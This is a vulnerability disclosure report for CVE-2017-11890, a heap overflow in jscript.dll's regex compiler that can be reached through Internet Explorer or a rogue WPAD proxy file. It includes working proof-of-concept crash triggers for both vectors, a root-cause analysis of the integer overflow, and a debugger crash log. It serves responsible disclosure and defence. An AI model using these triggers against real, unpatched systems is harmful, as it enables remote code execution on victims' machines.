Windows: Heap overflow in jscript!RegExpComp::Compile through IE or local network via WPAD
CVE-2017-11890
There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors:
- An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.
- The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode.
The issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied.
PoC for Internet Explorer:
============================================
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">
var s = 'a';
for(var i=0;i<28;i++) {
s = s+s;
}
s = s+'[a-z]'+s;
r = new RegExp();
r.compile(s);
</script>
</body>
</html>
============================================
PoC for WPAD:
============================================
function FindProxyForURL(url, host) {
var s = 'a';
for(var i=0;i<28;i++) {
s = s+s;
}
s = s+'[a-z]'+s;
r = new RegExp();
r.compile(s);
return "DIRECT";
}
===========================================
Technical details:
The issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like:
void RegExpBase::EnsureSpace(int desired_size) {
if(desired_size > buffer_size) {
if(2 * desired_size < desired_size) {
//throw an exception
}
int new_size = 2 * desired_size;
char * new_buffer = realloc(buffer, new_size);
if(!new_buffer) {
//throw an exception
}
buffer = new_buffer;
buffer_size = new_size;
}
}
Note that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer.
Indeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process.
Debug log (from IE, but it looks similar in the WPAD service):
============================================
(b90.698): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msvcrt!memcpy+0x1d9:
000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=????
0:012> r
rax=0000000040000061 rbx=00000000042b7ea0 rcx=000000025bb60fe0
rdx=fffffffdfa4b0010 rsi=00000000042b5f48 rdi=000000004000000a
rip=000007fefefe123d rsp=0000000012399ef8 rbp=0000000012399f28
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000040000008 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=0000000000000000 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=6100610061006100
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000000021bb60fd8 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000016010fe8 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=000007feebc91670
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000020000001 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
msvcrt!memcpy+0x1d9:
000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=????
0:012> k
# Child-SP RetAddr Call Site
00 00000000`12399ef8 000007fe`ebc88bb3 msvcrt!memcpy+0x1d9
01 00000000`12399f00 000007fe`ebcfacc2 jscript!RegExpComp::Compile+0x1b7
02 00000000`12399f60 000007fe`ebce2118 jscript!RegExpComp::CompileDynamic+0x62
03 00000000`12399fa0 000007fe`ebce3310 jscript!RegExpObj::Compile+0x32c
04 00000000`1239a0f0 000007fe`ebc7c2ec jscript!JsRegExpCompile+0x70
05 00000000`1239a140 000007fe`ebc7a9fe jscript!NatFncObj::Call+0x138
06 00000000`1239a1f0 000007fe`ebc7b234 jscript!NameTbl::InvokeInternal+0x3f8
07 00000000`1239a310 000007fe`ebc79852 jscript!VAR::InvokeByName+0x81c
08 00000000`1239a520 000007fe`ebc79929 jscript!VAR::InvokeDispName+0x72
09 00000000`1239a5a0 000007fe`ebc724b8 jscript!VAR::InvokeByDispID+0x1229
0a 00000000`1239a5f0 000007fe`ebc78ec2 jscript!CScriptRuntime::Run+0x5a6
0b 00000000`1239b3f0 000007fe`ebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
0c 00000000`1239b600 000007fe`ebc78b95 jscript!ScrFncObj::Call+0xb7
0d 00000000`1239b6a0 000007fe`ebc7e6c0 jscript!CSession::Execute+0x19e
0e 00000000`1239b770 000007fe`ebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a
0f 00000000`1239b840 000007fe`ebc868d6 jscript!COleScript::ParseScriptTextCore+0x267
10 00000000`1239b930 000007fe`ecdf5251 jscript!COleScript::ParseScriptText+0x56
11 00000000`1239b990 000007fe`ed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
12 00000000`1239ba10 000007fe`ecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f
13 00000000`1239baf0 000007fe`ecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9
14 00000000`1239bcc0 000007fe`ecdf5a11 MSHTML!CScriptData::Execute+0x283
15 00000000`1239bd80 000007fe`ed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101
16 00000000`1239bdc0 000007fe`ece98a5b MSHTML!CHtmParseBase::Execute+0x235
17 00000000`1239be60 000007fe`ecd72e39 MSHTML!CHtmPost::Broadcast+0x90
18 00000000`1239bea0 000007fe`ecdccaef MSHTML!CHtmPost::Exec+0x4bb
19 00000000`1239c0b0 000007fe`ecdcca40 MSHTML!CHtmPost::Run+0x3f
1a 00000000`1239c0e0 000007fe`ecdcda12 MSHTML!PostManExecute+0x70
1b 00000000`1239c160 000007fe`ecdd0843 MSHTML!PostManResume+0xa1
1c 00000000`1239c1a0 000007fe`ecdb6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
1d 00000000`1239c1f0 000007fe`ed5e4f78 MSHTML!CDwnChan::OnMethodCall+0x41
1e 00000000`1239c220 000007fe`eccd9d75 MSHTML!GlobalWndOnMethodCall+0x240
1f 00000000`1239c2c0 00000000`77229bbd MSHTML!GlobalWndProc+0x150
20 00000000`1239c340 00000000`772298c2 USER32!UserCallWinProcCheckWow+0x1ad
21 00000000`1239c400 000007fe`f29d4a87 USER32!DispatchMessageWorker+0x3b5
22 00000000`1239c480 000007fe`f29dbabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
23 00000000`1239f700 000007fe`fd73572f IEFRAME!LCIETab_ThreadProc+0x3a3
24 00000000`1239f830 000007fe`ee62925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
25 00000000`1239f860 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
26 00000000`1239f8b0 00000000`7745a561 kernel32!BaseThreadInitThunk+0xd
27 00000000`1239f8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
============================================
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: ifratric
